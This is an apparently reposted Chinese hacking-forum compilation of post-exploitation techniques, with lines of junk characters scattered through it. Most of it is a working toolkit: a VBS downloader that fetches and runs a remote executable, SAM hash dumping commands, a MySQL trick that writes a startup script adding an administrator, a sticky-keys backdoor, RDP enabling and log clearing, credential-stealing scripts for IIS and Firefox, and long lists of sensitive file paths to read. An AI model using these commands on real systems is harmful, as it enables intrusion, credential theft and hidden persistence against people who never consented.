6 F( c/ ^0 j6 m$ b
4 e; a" K# b5 |% U8 N八.freebsd本地提权
5 p. i$ N1 ^4 [+ }7 X  A, I2 b: I[argp@julius ~]$ uname -rsi
  f/ m3 H1 r6 e* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
: r( Q: M4 f' a- X, v8 i$ m* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
0 Q& r3 S6 g) W*
$ i8 E4 v6 K5 ~calling nmount()
) S  x0 t5 t1 T4 N2 b
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
  ^" N* K6 r) E! E) z! A5 c, Y——————————————
" o& P0 j3 F7 k( }+ M感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
! ^4 K% O% A0 W9 ~$ C关于tar的打包方式,linux不以扩展名来决定文件类型。
# {1 Z4 S% `+ G8 m( ~+ H. j2 Z2 D若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
0 W' }. h( o5 G' I那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
9 ]3 H9 ~* d/ l' m! x% s" P}  

" N& n+ G2 `& q! r2 x! P提权先执行systeminfo
token 漏洞补丁号 KB956572
- e; y$ {1 y  O( I! w3 O( `9 |: pChurrasco          kb952004
命令行RAR打包~~·
; r1 D$ b7 I6 @# U- Prar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
1 k9 g6 c8 C" R0 X0 W1 \2 l' Z7 V2、收集系统信息的脚本  
for window：
1 o3 n; k5 l% ?0 m- D. V
# N/ c- `+ \: C" F' C+ X8 O2 `@echo off
echo #########system info collection
( z- S6 ^" i) `% ~, {' i, P' }' N7 d* dsysteminfo
ver
5 }. E, @& A% S2 Xhostname
3 h$ F( [! Y: Z: P5 lnet user
* g0 v  `9 C* C/ K. `net localgroup
net localgroup administrators
/ m$ j2 ]- Z& r5 |net user guest
0 B8 s$ A9 m3 P/ unet user administrator

echo #######at- with   atq#####
: B- S5 A* G6 r- ^$ E7 ]: y" wecho schtask /query

echo
3 s* l& b* z! X) B8 G5 H, qecho ####task-list#############
tasklist /svc
2 ?& e& j( K& J, vecho
echo ####net-work infomation
  L1 V& E# F' y, ~ipconfig/all
route print
arp -a
# {0 s8 W  C; f5 U0 Qnetstat -anipconfig /displaydns
echo
2 z+ x4 w" B3 L! p: o2 u1 becho #######service############
7 c( Y1 ^0 ]4 l! E' j% @sc query type= service state= all
echo #######file-##############
cd \
tree -F
for linux：
! o- Q0 n8 s: j* v
4 E* ?$ A1 _- q9 Y7 P0 @#!/bin/bash

- r) |( ^& }/ q, o* e: Pecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
( U. A; B# j! {3 v- Y# q7 y6 |- hcat /proc/meminfo
( O- \0 f! b) \% K9 l& C( b) z/ Jecho
' ^6 e5 f- h1 u0 \cat /proc/cpuinfo
echo
, w3 {& R3 E* Q! lrpm -qa 2>/dev/null
) K  s, Y  e2 t8 g4 T######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
' U2 ?& M9 x# H* }8 pecho ###atq&crontab#####
atq
' |9 P, {; |; S4 ]1 N6 ?; v, Zcrontab -l
% S6 g7 A9 _. C$ L" necho #####about var#####
; E2 S( M/ H8 pset
# `. E  J  u* C9 N
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
/ f8 l% T* n4 K5 W' b8 ]0 Qcat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh
. e! ?! C9 j& U, r
* |2 Y/ [& J- R+ D  s0 O( gecho ######service####
$ v% P* q( E% \1 b2 f) d! Fchkconfig --list
: G) S; Z9 b/ U2 ^
+ C0 ?4 V3 _# G1 ]9 D6 hfor i in {oracle,mysql,tomcat,samba,apache,ftp}
. g$ x' y6 s: Z! Tcat /etc/passwd|grep -i $i
done
5 @( \' b( c+ w) |, T& e- H& R& P
locate passwd >/tmp/password 2>/dev/null
sleep 5
' O' X7 x" K( {locate password >>/tmp/password 2>/dev/null
8 b! b5 A7 Y& t$ u, c" H, u0 n: Osleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
) K3 L4 m+ p' A- Plocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
3 o' a0 `! R. O* \/ @# F6 Btar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
& x1 v: {2 z. O5 qrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
- I9 r) \- F; Q——————————————
- l0 @$ I! }9 a$ l3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
! i, S5 F$ h* s7 [. e, ]+ X! S注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
* j4 H' P! l8 i: n; Y4 o接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
% D. a) V8 |; t' n0 f: Xhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
& c* F6 h  x; U' B1 z$ P0 W4 [9 P+ k# z——————————————
4、vbs 下载者
+ l; {  T  a5 y8 A1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
" z/ J6 U# Q, \& y6 k* lecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
' ?% F4 O( L& Oecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
! t) z$ }1 v5 q- j9 R, _5 Decho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
  k$ p8 d8 W. _+ D4 j' `! `% x
; e  L- Q+ i4 l. M2
% g" {3 @# t+ [/ N8 aOn Error Resume Nextim iRemote,iLocal,s1,s2
. P2 O; m8 `9 n/ X9 t. D5 yiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) i3 c0 O# o9 dSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
- t6 S" J, E$ B/ k; B, X% ?* Q, gSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
. T, O: f$ r' ~8 ^sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

5 V& ?8 y( w; _) g9 }- l" Z4 Vcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
+ E- U1 t* w7 h, ?5 ~: q7 i+ V
- Q0 G! o7 N( W2 f3 y: {当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
' B+ T) S- ]8 x  w: x& ~——————————————————
8 {& }6 `. x$ \4 R! N5、
1.查询终端端口
' S0 [: Q) A2 ^REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# s6 z) L% B& G* \$ r( L3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
& r2 O) ~5 i+ X4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
) g+ b. M8 @& z& o' Z2 cREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
, f, N- b) I7 T% y1 H) ]insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
& ~0 U7 n2 V5 P$ g& B/ J( j0 Hselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' X" ?6 {; {; j3 U' @/ M* m7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
0 M( T% E) P, _$ V_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
* d! S# i8 x! z5 q" |9 X  ^; x  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

. ^, i7 a0 u8 D/ R& r% ]' ^2.for /r %i in (*.exe) do @echo %i
  
) }) F( v( m9 K9 h5 S以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
- s  g3 \3 d. X$ L) O1 g+ b" K! c
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
8 z9 V% B% C: L" j+ Y) X' I
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
" {; K/ v/ T; K& U
  delims=后的空格是分隔符 tokens是取第几个位置
% s* B  m) o+ N  N" E8 k. O5 r——————————
: W4 w8 L. ^# q; i●注册表:
1.Administrator注册表备份:
2 n  h1 t6 Z; C% S* J1 R9 Creg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
$ t' C( D! i& ^
2.修改3389的默认端口:
9 ^8 ]% l! ]$ }7 f" }HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

, F) W& N: t( z. m7 ~3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
; W8 u3 ]6 _2 X0 [" M, y- x
" [% [; q3 T' C& y4.Radmin密码:
1 D( [6 u" O! B* Y8 Nreg export HKLM\SYSTEM\RAdmin c:\a.reg

; x, @  _2 Z5 B" a5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

0 n6 l! D& l* A2 X6 o6.IPSec默认免除项88端口(需重启):
: r7 Y; E4 H- H: R$ s( b3 Kreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
+ G7 \: g& \2 v5 m( I0 A或者
$ I- v  @. V, G* D2 rnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
$ g7 H9 z/ g/ P6 b2 U
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
5 O, W* M: l# g6 t0 f
9.另类方法抓系统密码HASH
5 n6 U  i* ^" g6 N0 X; m3 @reg save hklm\sam c:\sam.hive
* k) s: F7 [5 A# U7 R! f  Breg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

" ?* a  h3 J$ |" q+ j( P10.shift映像劫持
$ _/ x/ |% [8 p) G2 Xreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
5 _' q1 q+ A1 l  N0 F' {, C
' Q) L; o( D! R( j; o% t. s8 ^  oreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
2 p( Z  k, {) S' x; @! eSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
/ W2 e8 ?2 ?& p; Q: j, ~set IIs=objservice.GetObject("IIsWebServer",childObjectName)
# Q1 w4 ~+ W- Q" G" W/ Mif err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
/ _: T  x8 v2 k- FServerComment=iis.servercomment
7 y' c0 W% m! a8 H' ~set IISweb=iis.getobject("IIsWebVirtualDir","Root")
8 T% K3 N4 N- Q  \- _# c- \user=iisweb.AnonymousUserName
# b  C' _3 Q/ m. q' w! [3 Qpass=iisweb.AnonymousUserPass
# I, C8 B0 H3 s0 ^4 h9 xpath=IIsWeb.path
' @2 M' n3 u! ?list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
3 W& |% G7 b9 s1 Y2 D' o9 [wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
+ P! P( z3 a" \+ q, m复制代码
5 {8 u+ ~: ^* S----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
3 U% ^; O) y8 g% x& \将folder.htt文件，加入以下代码：
# h% }. I3 l0 g% W' t# C<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
; P8 O% \2 Q' h. V; t& H; _. i然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
2 y- P) Y: a! H5 e: ^! f url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
! [+ X. }/ u6 R+ \3 V% I path_info可以直接呈现虚拟路径 顺利解析gif大马
' I1 `6 p8 ~' O1 y- S
* w. Q8 Z2 j+ z$ F( v==============================================================
LINUX常见路径：

9 c* q0 b, O) H3 K/ N1 F& Z/etc/passwd
/ q6 U0 V6 M1 _6 p/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
. A% ?0 G  m* p. Y& p/ v" Z/etc/ld.so.conf
/var/www/htdocs/index.php
) g* v3 [9 C# L8 e3 q" R/var/www/conf/httpd.conf
2 r6 K2 i6 u, m3 h9 z/var/www/htdocs/index.html
/var/httpd/conf/php.ini
7 u+ h" {' V- \& ]8 H/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
' x5 N- B' R$ K$ f4 h* Z9 q/ c/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
$ C1 B$ O7 l$ y4 f6 ~# m2 R/var/www/index.php
5 y! d5 d- o% ]8 I% T/ L! W" j/opt/www/conf/httpd.conf
* G' k4 ]) x4 o/ a; ?- L$ q/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
1 s  I! M. H! j6 X/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
$ f  J+ @* M, k" G- ~' _/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
2 @6 C/ R2 d4 _/ a% J. d/tmp/apache/htdocs/index.html
% w1 d, ^# B0 s1 R: V% b+ C/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
7 |2 [9 r% s; S: s  s3 h/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
  O  K* Y# I: r7 l' L8 ^% [8 N* Y/www/php4/php.ini
/ j" E: m  h% y0 k7 v8 {# y7 r/ l/www/php5/php.ini
! H4 M1 F" i2 E0 B/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
: v$ q: J! c( ~/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
6 N, d. D2 K- T- t/ O/etc/apache/apache.conf
( j& n! x; f, i/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
- U3 @0 [( O- i5 s8 h* P% ~6 C# O7 \/ y/etc/phpmyadmin/config.inc.php
7 |+ X# C2 g  h9 \* Z. J; E/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
* Y7 a1 [! B- S5 y/etc/httpd/conf.d/httpd.conf
) G9 }/ y7 }  x3 ~/etc/httpd/logs/error_log
1 `2 c- ]' q, P3 k9 Q( m5 P/etc/httpd/logs/error.log
# S0 J3 C' v- ~) k+ l% u/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
4 }; R3 `% |2 y0 f0 c/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
. J3 p* ]; _6 u- }* r( C5 F/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
- G' ]7 f- \/ G5 J! M  A* f/var/log/apache2/access.log
9 m4 l  n9 o  j: p% X/var/www/logs/error_log
4 ^0 p7 x( g$ x2 h/var/www/logs/error.log
+ G7 F8 E9 p. D0 M! }0 q2 m/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
7 @$ @5 H& G: C8 a! @- R/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
  C% s* l+ X/ Y. G/ o4 t2 t# J$ g/usr/local/apache/logs/access.log
3 T( K: F+ O4 R( S; F3 Z4 M- t/var/log/error_log
( N% o' B5 c; J; E. O+ P; g/ b/var/log/error.log
* L8 S! \) V2 a# q/var/log/access_log
( O7 \" k2 x+ T% h) n/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
7 y* V- A3 ~: U. r' A- h/bin/php.ini
1 T/ V! m' p4 C2 ~) G/etc/init.d/httpd
" ~2 T7 V9 P4 Y  a/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
" r2 U( O' a0 v1 F0 n+ \/usr/local/etc/php.ini
5 m; Y: J( R! X* ^$ }( Z, N/usr/local/lib/php.ini
- f: @" h6 [( R0 y; X0 Y) i/usr/local/php/lib/php.ini
# Q( d8 O2 @) V3 R, G2 C: U; H/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
$ ]  {! R/ R9 j7 v8 D! j/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/ U) z* Z8 |+ K3 G; b& j) c6 d- q/usr/local/apache2/conf/httpd.conf
4 p' i8 o  }* Z4 ~7 }8 ]/usr/local/apache2/conf/php.ini
& g- [3 ?& \9 P! [( ^/etc/php4.4/fcgi/php.ini
, r, J3 Q. m7 U4 C" k) g$ ]/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
6 Y- ~" a  i  N$ G2 K4 {* o/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
9 i( B! j; n# H7 }7 p* U/etc/php/php.ini
1 m+ r1 l; L6 ]" `7 a/ m/etc/php/php4/php.ini
2 U9 G1 o  r- Y, ?6 j$ u/ E2 J/etc/php/apache/php.ini
  C' e! s0 k) l& y, K+ d, h/etc/php/apache2/php.ini
/web/conf/php.ini
- D. b. C' S6 o& t/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/ o5 |* Z" t" [1 e. }/var/local/www/conf/httpd.conf
% e9 e( T+ C* j/etc/php/cgi/php.ini
/ q& _/ G& x/ U- _/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
+ }0 R' V3 }; S9 z$ |$ h/php5/php.ini
1 b- k1 A# c# J3 ^9 [1 l: z  _. l/php4/php.ini
/php/php.ini
. E" v' R, _) D5 T# Y/PHP/php.ini
) }9 A7 _- `8 i; A/ v; Z4 l# h2 ?/apache/php/php.ini
/xampp/apache/bin/php.ini
: _: @( p$ F4 ]& ?  K8 ]# ?/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
: A, r) e! J/ Z5 ^8 h/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
. L" t& j+ c& H) X( P" H3 O8 e/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
( J! V* t! x! i5 g9 U/etc/mysql/my.cnf
) c( W* f4 z0 |4 B5 V. z! i0 H/etc/my.cnf
- Y* j( R, I$ O3 P0 _& \5 J7 i; E) |/usr/local/cpanel/logs
1 R0 Z1 }5 ]  Q3 r4 j, n5 n/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
& m- U( \2 b7 w) L$ o6 m/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
; x, Z/ Q5 v6 r& A0 V1 ~; _! y/usr/local/cpanel/logs/stats_log
8 W$ m' h) H) Q/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

5 g5 `" x; g& W. t$ @2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

" u- R) X# O3 k" M+ a% ?" ^c:\windows\php.ini
c:\boot.ini
c:\1.txt
* |9 o: ]1 ]) T9 gc:\a.txt
7 M' }( S, D: T7 b
1 x. q8 M  v1 Z$ ^: {c:\CMailServer\config.ini
7 {# c7 t6 w0 H. x1 \: Ec:\CMailServer\CMailServer.exe
" |$ G* _% @' B1 E  Z8 Q0 Ac:\CMailServer\WebMail\index.asp
2 a$ V$ k9 v& |0 b( Jc:\program files\CMailServer\CMailServer.exe
4 ~! A2 S1 [( {7 [c:\program files\CMailServer\WebMail\index.asp
8 }, l  ~/ o; K- b5 e: e8 hC:\WinWebMail\SysInfo.ini
' U- }/ e0 Q* _3 \C:\WinWebMail\Web\default.asp
& e% S* a6 L9 s& k8 N$ o) o* _C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
0 m! |) m8 D- [8 I) _C:\WINDOWS\7i24tool.exe
; F! p9 p) x% c3 H/ g
c:\hzhost\databases\url.asp

) r7 }) O( Y& _5 R0 Dc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
1 o. G; o5 X5 b3 w3 n; [
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
, \% h6 w2 l: l* v, _C:\WINDOWS\web.config
- l) t1 h0 f/ m, W) G/ ]# t/ Q1 O/ mc:\web\index.html
9 e* J" x$ ^7 i$ K5 x+ f5 Cc:\www\index.html
c:\WWWROOT\index.html
8 q* F+ a! i4 ~. \2 Nc:\website\index.html
c:\web\index.asp
c:\www\index.asp
! S/ d: p1 m: q' ]: @c:\wwwsite\index.asp
, ]) a8 q7 o, Qc:\WWWROOT\index.asp
c:\web\index.php
3 G. M7 g8 S+ V' M2 t1 Nc:\www\index.php
6 e5 M! n( U6 k7 Z0 Zc:\WWWROOT\index.php
c:\WWWsite\index.php
* w7 L) y' Q7 i1 @% U: t% hc:\web\default.html
" J2 W* J7 [2 r! Jc:\www\default.html
9 I! W! u1 b5 zc:\WWWROOT\default.html
c:\website\default.html
& `- h# R3 M7 v; I8 ic:\web\default.asp
2 n  X0 n# ^4 ?) Vc:\www\default.asp
4 p  b' ?, B3 j# R+ kc:\wwwsite\default.asp
4 ^3 D/ S* a/ k( P( j) c* C2 D1 ^% Oc:\WWWROOT\default.asp
c:\web\default.php
. r7 s9 ?) k; a4 N' z6 q1 t3 cc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
; P9 p& \1 h8 [! S% dC:\Program Files\Microsoft Office\OFFICE10\winword.exe
+ S$ }% y5 B1 d2 f! m9 UC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
! X* T  Q) A% Q, f: E  V" z4 kC:\Program Files\Internet Explorer\IEXPLORE.EXE
. ~! S, ?& X  q7 V- a: |3 pC:\Program Files\winrar\rar.exe
' q8 e( J! [& x6 p2 Y# ?  xC:\Program Files\360\360Safe\360safe.exe
3 O& P1 e" O) r7 x5 RC:\Program Files\360Safe\360safe.exe
1 f# p8 A7 a8 q1 V3 Q9 R; C9 bC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
0 _* S& J9 ^. f$ @- K$ g. s+ yc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
3 O5 K5 y8 b- J5 _2 H, @C:\Documents and Settings\Administrator\My Documents\Default.rdp
) }- X; F. g3 iC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
8 k0 p3 S3 ]& M. i  s8 I& ZC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
- p- G8 W4 h& h  R+ {' FC:\Documents and Settings\Administrator\My Documents\a.txt
9 X' ?& z7 t( _" K3 A; H( K- XC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
( E' u6 w& K1 eE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
: T2 a  a& V, x, P9 AC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
2 `+ i. W# z' q/ }. r4 m" U0 M/ W, ~) iC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
. b9 l8 Y+ [+ |0 ~; F& IC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
# `2 [6 M# U- n+ A- V; s+ DC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
% `$ y4 i3 K5 `) O! M: JC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
1 p: K/ a/ |9 p1 I4 f: I3 X3 l2 KC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
* A5 A5 M9 t4 o7 v* w% l) ~2 M0 ?+ BC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
) i8 R& E4 y5 D' vC:\MySQL\MySQL Server 5.0\my.ini
8 n! J% o1 G/ Z& a0 Q- pC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
1 J! W8 L0 f  @6 r, Q8 AC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
0 V0 W( G! X  L1 f" c* }# o. \C:\WINDOWS\system32\inetsrv\w3wp.exe
/ C- o; p; I% b) q" W3 QC:\WINDOWS\system32\inetsrv\inetinfo.exe
( X2 p1 T+ o4 J7 cC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
' r" N: x4 n5 s4 }C:\WINDOWS\system32\config\default.LOG
